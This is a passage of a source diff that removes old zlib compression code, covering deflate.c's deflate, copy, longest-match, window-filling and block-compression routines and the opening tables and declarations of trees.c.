Z_FINISH, we keep - * returning Z_STREAM_END instead of Z_BUFF_ERROR. - */ - } else if (strm->avail_in == 0 && flush <= old_flush && - flush != Z_FINISH) { - ERR_RETURN(strm, Z_BUF_ERROR); - } - - /* User must not provide more input after the first FINISH: */ - if (s->status == FINISH_STATE && strm->avail_in != 0) { - ERR_RETURN(strm, Z_BUF_ERROR); - } - - /* Start a new block or continue the current one. - */ - if (strm->avail_in != 0 || s->lookahead != 0 || - (flush != Z_NO_FLUSH && s->status != FINISH_STATE)) { - block_state bstate; - - bstate = (*(configuration_table[s->level].func))(s, flush); - - if (bstate == finish_started || bstate == finish_done) { - s->status = FINISH_STATE; - } - if (bstate == need_more || bstate == finish_started) { - if (strm->avail_out == 0) { - s->last_flush = -1; /* avoid BUF_ERROR next call, see above */ - } - return Z_OK; - /* If flush != Z_NO_FLUSH && avail_out == 0, the next call - * of deflate should use the same flush parameter to make sure - * that the flush is complete. So we don't have to output an - * empty block here, this will be done at next call. This also - * ensures that for a very small output buffer, we emit at most - * one empty block. - */ - } - if (bstate == block_done) { - if (flush == Z_PARTIAL_FLUSH) { - _tr_align(s); - } else if (flush == Z_PACKET_FLUSH) { - /* Output just the 3-bit `stored' block type value, - but not a zero length. */ - _tr_stored_type_only(s); - } else { /* FULL_FLUSH or SYNC_FLUSH */ - _tr_stored_block(s, (char*)0, 0L, 0); - /* For a full flush, this empty block will be recognized - * as a special marker by inflate_sync(). - */ - if (flush == Z_FULL_FLUSH) { - CLEAR_HASH(s); /* forget history */ - } - } - flush_pending(strm); - if (strm->avail_out == 0) { - s->last_flush = -1; /* avoid BUF_ERROR at next call, see above */ - return Z_OK; - } - } - } - Assert(strm->avail_out > 0, "bug2"); - - if (flush != Z_FINISH) return Z_OK; - if (s->noheader) return Z_STREAM_END; - - /* Write the zlib trailer (adler32) */ - putShortMSB(s, (uInt)(strm->adler >> 16)); - putShortMSB(s, (uInt)(strm->adler & 0xffff)); - flush_pending(strm); - /* If avail_out is zero, the application will call deflate again - * to flush the rest. - */ - s->noheader = -1; /* write the trailer only once! */ - return s->pending != 0 ? Z_OK : Z_STREAM_END; -} - -/* ========================================================================= */ -int deflateEnd (strm) - z_streamp strm; -{ - int status; - deflate_state *s; - - if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; - s = (deflate_state *) strm->state; - - status = s->status; - if (status != INIT_STATE && status != BUSY_STATE && - status != FINISH_STATE) { - return Z_STREAM_ERROR; - } - - /* Deallocate in reverse order of allocations: */ - TRY_FREE(strm, s->pending_buf); - TRY_FREE(strm, s->head); - TRY_FREE(strm, s->prev); - TRY_FREE(strm, s->window); - - ZFREE(strm, s); - strm->state = Z_NULL; - - return status == BUSY_STATE ? Z_DATA_ERROR : Z_OK; -} - -/* ========================================================================= - * Copy the source state to the destination state. - */ -int deflateCopy (dest, source) - z_streamp dest; - z_streamp source; -{ - deflate_state *ds; - deflate_state *ss; - ushf *overlay; - - if (source == Z_NULL || dest == Z_NULL || source->state == Z_NULL) - return Z_STREAM_ERROR; - ss = (deflate_state *) source->state; - - zmemcpy(dest, source, sizeof(*dest)); - - ds = (deflate_state *) ZALLOC(dest, 1, sizeof(deflate_state)); - if (ds == Z_NULL) return Z_MEM_ERROR; - dest->state = (struct internal_state FAR *) ds; - zmemcpy(ds, ss, sizeof(*ds)); - ds->strm = dest; - - ds->window = (Bytef *) ZALLOC(dest, ds->w_size, 2*sizeof(Byte)); - ds->prev = (Posf *) ZALLOC(dest, ds->w_size, sizeof(Pos)); - ds->head = (Posf *) ZALLOC(dest, ds->hash_size, sizeof(Pos)); - overlay = (ushf *) ZALLOC(dest, ds->lit_bufsize, sizeof(ush)+2); - ds->pending_buf = (uchf *) overlay; - - if (ds->window == Z_NULL || ds->prev == Z_NULL || ds->head == Z_NULL || - ds->pending_buf == Z_NULL) { - deflateEnd (dest); - return Z_MEM_ERROR; - } - /* ??? following zmemcpy doesn't work for 16-bit MSDOS */ - zmemcpy(ds->window, ss->window, ds->w_size * 2 * sizeof(Byte)); - zmemcpy(ds->prev, ss->prev, ds->w_size * sizeof(Pos)); - zmemcpy(ds->head, ss->head, ds->hash_size * sizeof(Pos)); - zmemcpy(ds->pending_buf, ss->pending_buf, (uInt)ds->pending_buf_size); - - ds->pending_out = ds->pending_buf + (ss->pending_out - ss->pending_buf); - ds->d_buf = overlay + ds->lit_bufsize/sizeof(ush); - ds->l_buf = ds->pending_buf + (1+sizeof(ush))*ds->lit_bufsize; - - ds->l_desc.dyn_tree = ds->dyn_ltree; - ds->d_desc.dyn_tree = ds->dyn_dtree; - ds->bl_desc.dyn_tree = ds->bl_tree; - - return Z_OK; -} - -/* =========================================================================== - * Return the number of bytes of output which are immediately available - * for output from the decompressor. - */ -int deflateOutputPending (strm) - z_streamp strm; -{ - if (strm == Z_NULL || strm->state == Z_NULL) return 0; - - return ((deflate_state *)(strm->state))->pending; -} - -/* =========================================================================== - * Read a new buffer from the current input stream, update the adler32 - * and total number of bytes read. All deflate() input goes through - * this function so some applications may wish to modify it to avoid - * allocating a large strm->next_in buffer and copying from it. - * (See also flush_pending()). - */ -local int read_buf(strm, buf, size) - z_streamp strm; - charf *buf; - unsigned size; -{ - unsigned len = strm->avail_in; - - if (len > size) len = size; - if (len == 0) return 0; - - strm->avail_in -= len; - - if (!((deflate_state *)(strm->state))->noheader) { - strm->adler = adler32(strm->adler, strm->next_in, len); - } - zmemcpy(buf, strm->next_in, len); - strm->next_in += len; - strm->total_in += len; - - return (int)len; -} - -/* =========================================================================== - * Initialize the "longest match" routines for a new zlib stream - */ -local void lm_init (s) - deflate_state *s; -{ - s->window_size = (ulg)2L*s->w_size; - - CLEAR_HASH(s); - - /* Set the default configuration parameters: - */ - s->max_lazy_match = configuration_table[s->level].max_lazy; - s->good_match = configuration_table[s->level].good_length; - s->nice_match = configuration_table[s->level].nice_length; - s->max_chain_length = configuration_table[s->level].max_chain; - - s->strstart = 0; - s->block_start = 0L; - s->lookahead = 0; - s->match_length = s->prev_length = MIN_MATCH-1; - s->match_available = 0; - s->ins_h = 0; -#ifdef ASMV - match_init(); /* initialize the asm code */ -#endif -} - -/* =========================================================================== - * Set match_start to the longest match starting at the given string and - * return its length. Matches shorter or equal to prev_length are discarded, - * in which case the result is equal to prev_length and match_start is - * garbage. - * IN assertions: cur_match is the head of the hash chain for the current - * string (strstart) and its distance is <= MAX_DIST, and prev_length >= 1 - * OUT assertion: the match length is not greater than s->lookahead. - */ -#ifndef ASMV -/* For 80x86 and 680x0, an optimized version will be provided in match.asm or - * match.S. The code will be functionally equivalent. - */ -local uInt longest_match(s, cur_match) - deflate_state *s; - IPos cur_match; /* current match */ -{ - unsigned chain_length = s->max_chain_length;/* max hash chain length */ - register Bytef *scan = s->window + s->strstart; /* current string */ - register Bytef *match; /* matched string */ - register int len; /* length of current match */ - int best_len = s->prev_length; /* best match length so far */ - int nice_match = s->nice_match; /* stop if match long enough */ - IPos limit = s->strstart > (IPos)MAX_DIST(s) ? - s->strstart - (IPos)MAX_DIST(s) : NIL; - /* Stop when cur_match becomes <= limit. To simplify the code, - * we prevent matches with the string of window index 0. - */ - Posf *prev = s->prev; - uInt wmask = s->w_mask; - -#ifdef UNALIGNED_OK - /* Compare two bytes at a time. Note: this is not always beneficial. - * Try with and without -DUNALIGNED_OK to check. - */ - register Bytef *strend = s->window + s->strstart + MAX_MATCH - 1; - register ush scan_start = *(ushf*)scan; - register ush scan_end = *(ushf*)(scan+best_len-1); -#else - register Bytef *strend = s->window + s->strstart + MAX_MATCH; - register Byte scan_end1 = scan[best_len-1]; - register Byte scan_end = scan[best_len]; -#endif - - /* The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16. - * It is easy to get rid of this optimization if necessary. - */ - Assert(s->hash_bits >= 8 && MAX_MATCH == 258, "Code too clever"); - - /* Do not waste too much time if we already have a good match: */ - if (s->prev_length >= s->good_match) { - chain_length >>= 2; - } - /* Do not look for matches beyond the end of the input. This is necessary - * to make deflate deterministic. - */ - if ((uInt)nice_match > s->lookahead) nice_match = s->lookahead; - - Assert((ulg)s->strstart <= s->window_size-MIN_LOOKAHEAD, "need lookahead"); - - do { - Assert(cur_match < s->strstart, "no future"); - match = s->window + cur_match; - - /* Skip to next match if the match length cannot increase - * or if the match length is less than 2: - */ -#if (defined(UNALIGNED_OK) && MAX_MATCH == 258) - /* This code assumes sizeof(unsigned short) == 2. Do not use - * UNALIGNED_OK if your compiler uses a different size. - */ - if (*(ushf*)(match+best_len-1) != scan_end || - *(ushf*)match != scan_start) continue; - - /* It is not necessary to compare scan[2] and match[2] since they are - * always equal when the other bytes match, given that the hash keys - * are equal and that HASH_BITS >= 8. Compare 2 bytes at a time at - * strstart+3, +5, ... up to strstart+257. We check for insufficient - * lookahead only every 4th comparison; the 128th check will be made - * at strstart+257. If MAX_MATCH-2 is not a multiple of 8, it is - * necessary to put more guard bytes at the end of the window, or - * to check more often for insufficient lookahead. - */ - Assert(scan[2] == match[2], "scan[2]?"); - scan++, match++; - do { - } while (*(ushf*)(scan+=2) == *(ushf*)(match+=2) && - *(ushf*)(scan+=2) == *(ushf*)(match+=2) && - *(ushf*)(scan+=2) == *(ushf*)(match+=2) && - *(ushf*)(scan+=2) == *(ushf*)(match+=2) && - scan < strend); - /* The funny "do {}" generates better code on most compilers */ - - /* Here, scan <= window+strstart+257 */ - Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan"); - if (*scan == *match) scan++; - - len = (MAX_MATCH - 1) - (int)(strend-scan); - scan = strend - (MAX_MATCH-1); - -#else /* UNALIGNED_OK */ - - if (match[best_len] != scan_end || - match[best_len-1] != scan_end1 || - *match != *scan || - *++match != scan[1]) continue; - - /* The check at best_len-1 can be removed because it will be made - * again later. (This heuristic is not always a win.) - * It is not necessary to compare scan[2] and match[2] since they - * are always equal when the other bytes match, given that - * the hash keys are equal and that HASH_BITS >= 8. - */ - scan += 2, match++; - Assert(*scan == *match, "match[2]?"); - - /* We check for insufficient lookahead only every 8th comparison; - * the 256th check will be made at strstart+258. - */ - do { - } while (*++scan == *++match && *++scan == *++match && - *++scan == *++match && *++scan == *++match && - *++scan == *++match && *++scan == *++match && - *++scan == *++match && *++scan == *++match && - scan < strend); - - Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan"); - - len = MAX_MATCH - (int)(strend - scan); - scan = strend - MAX_MATCH; - -#endif /* UNALIGNED_OK */ - - if (len > best_len) { - s->match_start = cur_match; - best_len = len; - if (len >= nice_match) break; -#ifdef UNALIGNED_OK - scan_end = *(ushf*)(scan+best_len-1); -#else - scan_end1 = scan[best_len-1]; - scan_end = scan[best_len]; -#endif - } - } while ((cur_match = prev[cur_match & wmask]) > limit - && --chain_length != 0); - - if ((uInt)best_len <= s->lookahead) return best_len; - return s->lookahead; -} -#endif /* ASMV */ - -#ifdef DEBUG_ZLIB -/* =========================================================================== - * Check that the match at match_start is indeed a match. - */ -local void check_match(s, start, match, length) - deflate_state *s; - IPos start, match; - int length; -{ - /* check that the match is indeed a match */ - if (zmemcmp((charf *)s->window + match, - (charf *)s->window + start, length) != EQUAL) { - fprintf(stderr, " start %u, match %u, length %d\n", - start, match, length); - do { - fprintf(stderr, "%c%c", s->window[match++], s->window[start++]); - } while (--length != 0); - z_error("invalid match"); - } - if (z_verbose > 1) { - fprintf(stderr,"\\[%d,%d]", start-match, length); - do { putc(s->window[start++], stderr); } while (--length != 0); - } -} -#else -# define check_match(s, start, match, length) -#endif - -/* =========================================================================== - * Fill the window when the lookahead becomes insufficient. - * Updates strstart and lookahead. - * - * IN assertion: lookahead < MIN_LOOKAHEAD - * OUT assertions: strstart <= window_size-MIN_LOOKAHEAD - * At least one byte has been read, or avail_in == 0; reads are - * performed for at least two bytes (required for the zip translate_eol - * option -- not supported here). - */ -local void fill_window(s) - deflate_state *s; -{ - register unsigned n, m; - register Posf *p; - unsigned more; /* Amount of free space at the end of the window. */ - uInt wsize = s->w_size; - - do { - more = (unsigned)(s->window_size -(ulg)s->lookahead -(ulg)s->strstart); - - /* Deal with !@#$% 64K limit: */ - if (more == 0 && s->strstart == 0 && s->lookahead == 0) { - more = wsize; - - } else if (more == (unsigned)(-1)) { - /* Very unlikely, but possible on 16 bit machine if strstart == 0 - * and lookahead == 1 (input done one byte at time) - */ - more--; - - /* If the window is almost full and there is insufficient lookahead, - * move the upper half to the lower one to make room in the upper half. - */ - } else if (s->strstart >= wsize+MAX_DIST(s)) { - - zmemcpy((charf *)s->window, (charf *)s->window+wsize, - (unsigned)wsize); - s->match_start -= wsize; - s->strstart -= wsize; /* we now have strstart >= MAX_DIST */ - s->block_start -= (long) wsize; - - /* Slide the hash table (could be avoided with 32 bit values - at the expense of memory usage). We slide even when level == 0 - to keep the hash table consistent if we switch back to level > 0 - later. (Using level 0 permanently is not an optimal usage of - zlib, so we don't care about this pathological case.) - */ - n = s->hash_size; - p = &s->head[n]; - do { - m = *--p; - *p = (Pos)(m >= wsize ? m-wsize : NIL); - } while (--n); - - n = wsize; - p = &s->prev[n]; - do { - m = *--p; - *p = (Pos)(m >= wsize ? m-wsize : NIL); - /* If n is not on any hash chain, prev[n] is garbage but - * its value will never be used. - */ - } while (--n); - more += wsize; - } - if (s->strm->avail_in == 0) return; - - /* If there was no sliding: - * strstart <= WSIZE+MAX_DIST-1 && lookahead <= MIN_LOOKAHEAD - 1 && - * more == window_size - lookahead - strstart - * => more >= window_size - (MIN_LOOKAHEAD-1 + WSIZE + MAX_DIST-1) - * => more >= window_size - 2*WSIZE + 2 - * In the BIG_MEM or MMAP case (not yet supported), - * window_size == input_size + MIN_LOOKAHEAD && - * strstart + s->lookahead <= input_size => more >= MIN_LOOKAHEAD. - * Otherwise, window_size == 2*WSIZE so more >= 2. - * If there was sliding, more >= WSIZE. So in all cases, more >= 2. - */ - Assert(more >= 2, "more < 2"); - - n = read_buf(s->strm, (charf *)s->window + s->strstart + s->lookahead, - more); - s->lookahead += n; - - /* Initialize the hash value now that we have some input: */ - if (s->lookahead >= MIN_MATCH) { - s->ins_h = s->window[s->strstart]; - UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]); -#if MIN_MATCH != 3 - Call UPDATE_HASH() MIN_MATCH-3 more times -#endif - } - /* If the whole input has less than MIN_MATCH bytes, ins_h is garbage, - * but this is not important since only literal bytes will be emitted. - */ - - } while (s->lookahead < MIN_LOOKAHEAD && s->strm->avail_in != 0); -} - -/* =========================================================================== - * Flush the current block, with given end-of-file flag. - * IN assertion: strstart is set to the end of the current match. - */ -#define FLUSH_BLOCK_ONLY(s, eof) { \ - _tr_flush_block(s, (s->block_start >= 0L ? \ - (charf *)&s->window[(unsigned)s->block_start] : \ - (charf *)Z_NULL), \ - (ulg)((long)s->strstart - s->block_start), \ - (eof)); \ - s->block_start = s->strstart; \ - flush_pending(s->strm); \ - Tracev((stderr,"[FLUSH]")); \ -} - -/* Same but force premature exit if necessary. */ -#define FLUSH_BLOCK(s, eof) { \ - FLUSH_BLOCK_ONLY(s, eof); \ - if (s->strm->avail_out == 0) return (eof) ? finish_started : need_more; \ -} - -/* =========================================================================== - * Copy without compression as much as possible from the input stream, return - * the current block state. - * This function does not insert new strings in the dictionary since - * uncompressible data is probably not useful. This function is used - * only for the level=0 compression option. - * NOTE: this function should be optimized to avoid extra copying from - * window to pending_buf. - */ -local block_state deflate_stored(s, flush) - deflate_state *s; - int flush; -{ - /* Stored blocks are limited to 0xffff bytes, pending_buf is limited - * to pending_buf_size, and each stored block has a 5 byte header: - */ - ulg max_block_size = 0xffff; - ulg max_start; - - if (max_block_size > s->pending_buf_size - 5) { - max_block_size = s->pending_buf_size - 5; - } - - /* Copy as much as possible from input to output: */ - for (;;) { - /* Fill the window as much as possible: */ - if (s->lookahead <= 1) { - - Assert(s->strstart < s->w_size+MAX_DIST(s) || - s->block_start >= (long)s->w_size, "slide too late"); - - fill_window(s); - if (s->lookahead == 0 && flush == Z_NO_FLUSH) return need_more; - - if (s->lookahead == 0) break; /* flush the current block */ - } - Assert(s->block_start >= 0L, "block gone"); - - s->strstart += s->lookahead; - s->lookahead = 0; - - /* Emit a stored block if pending_buf will be full: */ - max_start = s->block_start + max_block_size; - if (s->strstart == 0 || (ulg)s->strstart >= max_start) { - /* strstart == 0 is possible when wraparound on 16-bit machine */ - s->lookahead = (uInt)(s->strstart - max_start); - s->strstart = (uInt)max_start; - FLUSH_BLOCK(s, 0); - } - /* Flush if we may have to slide, otherwise block_start may become - * negative and the data will be gone: - */ - if (s->strstart - (uInt)s->block_start >= MAX_DIST(s)) { - FLUSH_BLOCK(s, 0); - } - } - FLUSH_BLOCK(s, flush == Z_FINISH); - return flush == Z_FINISH ? finish_done : block_done; -} - -/* =========================================================================== - * Compress as much as possible from the input stream, return the current - * block state. - * This function does not perform lazy evaluation of matches and inserts - * new strings in the dictionary only for unmatched strings or for short - * matches. It is used only for the fast compression options. - */ -local block_state deflate_fast(s, flush) - deflate_state *s; - int flush; -{ - IPos hash_head = NIL; /* head of the hash chain */ - int bflush; /* set if current block must be flushed */ - - for (;;) { - /* Make sure that we always have enough lookahead, except - * at the end of the input file. We need MAX_MATCH bytes - * for the next match, plus MIN_MATCH bytes to insert the - * string following the next match. - */ - if (s->lookahead < MIN_LOOKAHEAD) { - fill_window(s); - if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) { - return need_more; - } - if (s->lookahead == 0) break; /* flush the current block */ - } - - /* Insert the string window[strstart .. strstart+2] in the - * dictionary, and set hash_head to the head of the hash chain: - */ - if (s->lookahead >= MIN_MATCH) { - INSERT_STRING(s, s->strstart, hash_head); - } - - /* Find the longest match, discarding those <= prev_length. - * At this point we have always match_length < MIN_MATCH - */ - if (hash_head != NIL && s->strstart - hash_head <= MAX_DIST(s)) { - /* To simplify the code, we prevent matches with the string - * of window index 0 (in particular we have to avoid a match - * of the string with itself at the start of the input file). - */ - if (s->strategy != Z_HUFFMAN_ONLY) { - s->match_length = longest_match (s, hash_head); - } - /* longest_match() sets match_start */ - } - if (s->match_length >= MIN_MATCH) { - check_match(s, s->strstart, s->match_start, s->match_length); - - bflush = _tr_tally(s, s->strstart - s->match_start, - s->match_length - MIN_MATCH); - - s->lookahead -= s->match_length; - - /* Insert new strings in the hash table only if the match length - * is not too large. This saves time but degrades compression. - */ - if (s->match_length <= s->max_insert_length && - s->lookahead >= MIN_MATCH) { - s->match_length--; /* string at strstart already in hash table */ - do { - s->strstart++; - INSERT_STRING(s, s->strstart, hash_head); - /* strstart never exceeds WSIZE-MAX_MATCH, so there are - * always MIN_MATCH bytes ahead. - */ - } while (--s->match_length != 0); - s->strstart++; - } else { - s->strstart += s->match_length; - s->match_length = 0; - s->ins_h = s->window[s->strstart]; - UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]); -#if MIN_MATCH != 3 - Call UPDATE_HASH() MIN_MATCH-3 more times -#endif - /* If lookahead < MIN_MATCH, ins_h is garbage, but it does not - * matter since it will be recomputed at next deflate call. - */ - } - } else { - /* No match, output a literal byte */ - Tracevv((stderr,"%c", s->window[s->strstart])); - bflush = _tr_tally (s, 0, s->window[s->strstart]); - s->lookahead--; - s->strstart++; - } - if (bflush) FLUSH_BLOCK(s, 0); - } - FLUSH_BLOCK(s, flush == Z_FINISH); - return flush == Z_FINISH ? finish_done : block_done; -} - -/* =========================================================================== - * Same as above, but achieves better compression. We use a lazy - * evaluation for matches: a match is finally adopted only if there is - * no better match at the next window position. - */ -local block_state deflate_slow(s, flush) - deflate_state *s; - int flush; -{ - IPos hash_head = NIL; /* head of hash chain */ - int bflush; /* set if current block must be flushed */ - - /* Process the input block. */ - for (;;) { - /* Make sure that we always have enough lookahead, except - * at the end of the input file. We need MAX_MATCH bytes - * for the next match, plus MIN_MATCH bytes to insert the - * string following the next match. - */ - if (s->lookahead < MIN_LOOKAHEAD) { - fill_window(s); - if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) { - return need_more; - } - if (s->lookahead == 0) break; /* flush the current block */ - } - - /* Insert the string window[strstart .. strstart+2] in the - * dictionary, and set hash_head to the head of the hash chain: - */ - if (s->lookahead >= MIN_MATCH) { - INSERT_STRING(s, s->strstart, hash_head); - } - - /* Find the longest match, discarding those <= prev_length. - */ - s->prev_length = s->match_length, s->prev_match = s->match_start; - s->match_length = MIN_MATCH-1; - - if (hash_head != NIL && s->prev_length < s->max_lazy_match && - s->strstart - hash_head <= MAX_DIST(s)) { - /* To simplify the code, we prevent matches with the string - * of window index 0 (in particular we have to avoid a match - * of the string with itself at the start of the input file). - */ - if (s->strategy != Z_HUFFMAN_ONLY) { - s->match_length = longest_match (s, hash_head); - } - /* longest_match() sets match_start */ - - if (s->match_length <= 5 && (s->strategy == Z_FILTERED || - (s->match_length == MIN_MATCH && - s->strstart - s->match_start > TOO_FAR))) { - - /* If prev_match is also MIN_MATCH, match_start is garbage - * but we will ignore the current match anyway. - */ - s->match_length = MIN_MATCH-1; - } - } - /* If there was a match at the previous step and the current - * match is not better, output the previous match: - */ - if (s->prev_length >= MIN_MATCH && s->match_length <= s->prev_length) { - uInt max_insert = s->strstart + s->lookahead - MIN_MATCH; - /* Do not insert strings in hash table beyond this. */ - - check_match(s, s->strstart-1, s->prev_match, s->prev_length); - - bflush = _tr_tally(s, s->strstart -1 - s->prev_match, - s->prev_length - MIN_MATCH); - - /* Insert in hash table all strings up to the end of the match. - * strstart-1 and strstart are already inserted. If there is not - * enough lookahead, the last two strings are not inserted in - * the hash table. - */ - s->lookahead -= s->prev_length-1; - s->prev_length -= 2; - do { - if (++s->strstart <= max_insert) { - INSERT_STRING(s, s->strstart, hash_head); - } - } while (--s->prev_length != 0); - s->match_available = 0; - s->match_length = MIN_MATCH-1; - s->strstart++; - - if (bflush) FLUSH_BLOCK(s, 0); - - } else if (s->match_available) { - /* If there was no match at the previous position, output a - * single literal. If there was a match but the current match - * is longer, truncate the previous match to a single literal. - */ - Tracevv((stderr,"%c", s->window[s->strstart-1])); - if (_tr_tally (s, 0, s->window[s->strstart-1])) { - FLUSH_BLOCK_ONLY(s, 0); - } - s->strstart++; - s->lookahead--; - if (s->strm->avail_out == 0) return need_more; - } else { - /* There is no previous match to compare with, wait for - * the next step to decide. - */ - s->match_available = 1; - s->strstart++; - s->lookahead--; - } - } - Assert (flush != Z_NO_FLUSH, "no flush?"); - if (s->match_available) { - Tracevv((stderr,"%c", s->window[s->strstart-1])); - _tr_tally (s, 0, s->window[s->strstart-1]); - s->match_available = 0; - } - FLUSH_BLOCK(s, flush == Z_FINISH); - return flush == Z_FINISH ? finish_done : block_done; -} -/* --- deflate.c */ - -/* +++ trees.c */ -/* trees.c -- output deflated data using Huffman coding - * Copyright (C) 1995-1996 Jean-loup Gailly - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* - * ALGORITHM - * - * The "deflation" process uses several Huffman trees. The more - * common source values are represented by shorter bit sequences. - * - * Each code tree is stored in a compressed form which is itself - * a Huffman encoding of the lengths of all the code strings (in - * ascending order by source values). The actual code strings are - * reconstructed from the lengths in the inflate process, as described - * in the deflate specification. - * - * REFERENCES - * - * Deutsch, L.P.,"'Deflate' Compressed Data Format Specification". - * Available in ftp.uu.net:/pub/archiving/zip/doc/deflate-1.1.doc - * - * Storer, James A. - * Data Compression: Methods and Theory, pp. 49-50. - * Computer Science Press, 1988. ISBN 0-7167-8156-5. - * - * Sedgewick, R. - * Algorithms, p290. - * Addison-Wesley, 1983. ISBN 0-201-06672-6. - */ - -/* From: trees.c,v 1.11 1996/07/24 13:41:06 me Exp $ */ - -/* #include "deflate.h" */ - -#ifdef DEBUG_ZLIB -# include -#endif - -/* =========================================================================== - * Constants - */ - -#define MAX_BL_BITS 7 -/* Bit length codes must not exceed MAX_BL_BITS bits */ - -#define END_BLOCK 256 -/* end of block literal code */ - -#define REP_3_6 16 -/* repeat previous bit length 3-6 times (2 bits of repeat count) */ - -#define REPZ_3_10 17 -/* repeat a zero length 3-10 times (3 bits of repeat count) */ - -#define REPZ_11_138 18 -/* repeat a zero length 11-138 times (7 bits of repeat count) */ - -local int extra_lbits[LENGTH_CODES] /* extra bits for each length code */ - = {0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0}; - -local int extra_dbits[D_CODES] /* extra bits for each distance code */ - = {0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13}; - -local int extra_blbits[BL_CODES]/* extra bits for each bit length code */ - = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7}; - -local uch bl_order[BL_CODES] - = {16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15}; -/* The lengths of the bit length codes are sent in order of decreasing - * probability, to avoid transmitting the lengths for unused bit length codes. - */ - -#define Buf_size (8 * 2*sizeof(char)) -/* Number of bits used within bi_buf. (bi_buf might be implemented on - * more than 16 bits on some systems.) - */ - -/* =========================================================================== - * Local data. These are initialized only once. - */ - -local ct_data static_ltree[L_CODES+2]; -/* The static literal tree. Since the bit lengths are imposed, there is no - * need for the L_CODES extra codes used during heap construction. However - * The codes 286 and 287 are needed to build a canonical tree (see _tr_init - * below). - */ - -local ct_data static_dtree[D_CODES]; -/* The static distance tree. (Actually a trivial tree since all codes use - * 5 bits.) - */ - -local uch dist_code[512]; -/* distance codes. The first 256 values correspond to the distances - * 3 .. 258, the last 256 values correspond to the top 8 bits of - * the 15 bit distances. - */ - -local uch length_code[MAX_MATCH-MIN_MATCH+1]; -/* length code for each normalized match length (0 == MIN_MATCH) */ - -local int base_length[LENGTH_CODES]; -/* First normalized length for each code (0 = MIN_MATCH) */ - -local int base_dist[D_CODES]; -/* First normalized distance for each code (0 = distance of 1) */ - -struct static_tree_desc_s { - ct_data *static_tree; /* static tree or NULL */ - intf *extra_bits; /* extra bits for each code or NULL */ - int extra_base; /* base index for extra_bits */ - int elems; /* max number of elements in the tree */ - int max_length; /* max bit length for the codes */ -}; - -local static_tree_desc static_l_desc = -{static_ltree, extra_lbits, LITERALS+1, L_CODES, MAX_BITS}; - -local static_tree_desc static_d_desc = -{static_dtree, extra_dbits, 0, D_CODES, MAX_BITS}; - -local static_tree_desc static_bl_desc = -{(ct_data *)0, extra_blbits, 0, BL_CODES, MAX_BL_BITS}; - -/* =========================================================================== - * Local (static) routines in this file. - */ - -local void tr_static_init OF((void)); -local void init_block OF((deflate_state *s)); -local void pqdownheap OF((deflate_state *s, ct_data *tree, int k)); -local void gen_bitlen OF((deflate_state *s, tree_desc *desc)); -local void gen_codes OF((ct_data *tree, int max_code, ushf *bl_count)); -local void build_tree OF((deflate_state *s, tree_desc *desc)); -local void scan_tree OF((deflate_state *s, ct_data *tree, int max_code)); -local void send_tree OF((deflate_state *s, ct_data *tree, int max_code)); -local int build_bl_tree OF((deflate_state *s)); -local void send_all_trees OF((deflate_state *s, int lcodes, int dcodes, - int blcodes)); -local void compress_block OF((deflate_state *s, ct_data *ltree, - ct_data *dtree)); -local void set_data_type OF((deflate_state *s)); -local unsigned bi_reverse OF((unsigned value, int length)); -local void bi_windup OF((deflate_state *s)); -local void bi_flush OF((deflate_state *s)); -local void copy_block OF((deflate_state *s, charf *buf, unsigned len, - int header)); - -#ifndef DEBUG_ZLIB -# define send_code(s, c, tree) send_bits(s, tree[(c)].Code, tree[(c)].Len) - /* Send a code of the given tree. c and tree must not have side effects */ - -#else /* DEBUG_ZLIB */ -# define send_code(s, c, tree) \ - { if (verbose>2) fprintf(stderr,"\ncd %3d ",(c)); \ - send_bits(s, tree[c].Code, tree[c].Len); } -#endif - -#define d_code(dist) \ - ((dist) < 256 ? dist_code[dist] : dist_code[256+((dist)>>7)]) -/* Mapping from a distance to a distance code. dist is the distance - 1 and - * must not have side effects. dist_code[256] and dist_code[257] are never - * used. - */ - -/* =========================================================================== - * Output a short LSB first on the stream. - * IN assertion: there is enough room in pendingBuf. - */ -#define put_short(s, w) { \ - put_byte(s, (uch)((w) & 0xff)); \ - put_byte(s, (uch)((ush)(w) >> 8)); \ -} - -/* =========================================================================== - * Send a value on a given number of bits. - * IN assertion: length <= 16 and value fits in length bits. - */ -#ifdef DEBUG_ZLIB -local void send_bits OF((deflate_state *s, int value, int length)); - -local void send_bits(s, value, length) - deflate_state *s; - int value; /* value to send */ - int length; /* number of bits */ -{ - Tracevv((stderr," l %2d v %4x ", length, value)); - Assert(length > 0 && length <= 15, "invalid length"); - s->bits_sent += (ulg)length; - - /* If not enough room in bi_buf, use (valid) bits from bi_buf and - * (16 - bi_valid) bits from value, leaving (width - (16-bi_valid)) - * unused bits in value. - */ - if (s->bi_valid > (int)Buf_size - length) { - s->bi_buf |= (value << s->bi_valid); - put_short(s, s->bi_buf); - s->bi_buf = (ush)value >> (Buf_size - s->bi_valid); - s->bi_valid += length - Buf_size; - } else { - s->bi_buf |= value << s->bi_valid; - s->bi_valid += length; - } -} -#else /* !DEBUG_ZLIB */ - -#define send_bits(s, value, length) \ -{ int len = (length);\ - if ((s)->bi_valid > (int)Buf_size - len) {\ - int val = (value);\ - (s)->bi_buf |= (val << (s)->bi_valid);\ - put_short((s), (s)->bi_buf);\ - (s)->bi_buf = (ush)val >> (Buf_size - (s)->bi_valid);\ - (s)->bi_valid += len - Buf_size;\ - } else {\ - (s)->bi_buf |= (value) << (s)->bi_valid;\ - (s)->bi_valid += len;\ - }\ -} -#endif /* DEBUG_ZLIB */ - -/* the arguments must not have side effects */ - -/* =========================================================================== - * Initialize the various 'constant' tables. In a multi-threaded environment, - * this function may be called by two threads concurrently, but this is - * harmless since both invocations do exactly the same thing. - */ -local void tr_static_init() -{ - static int static_init_done = 0; - 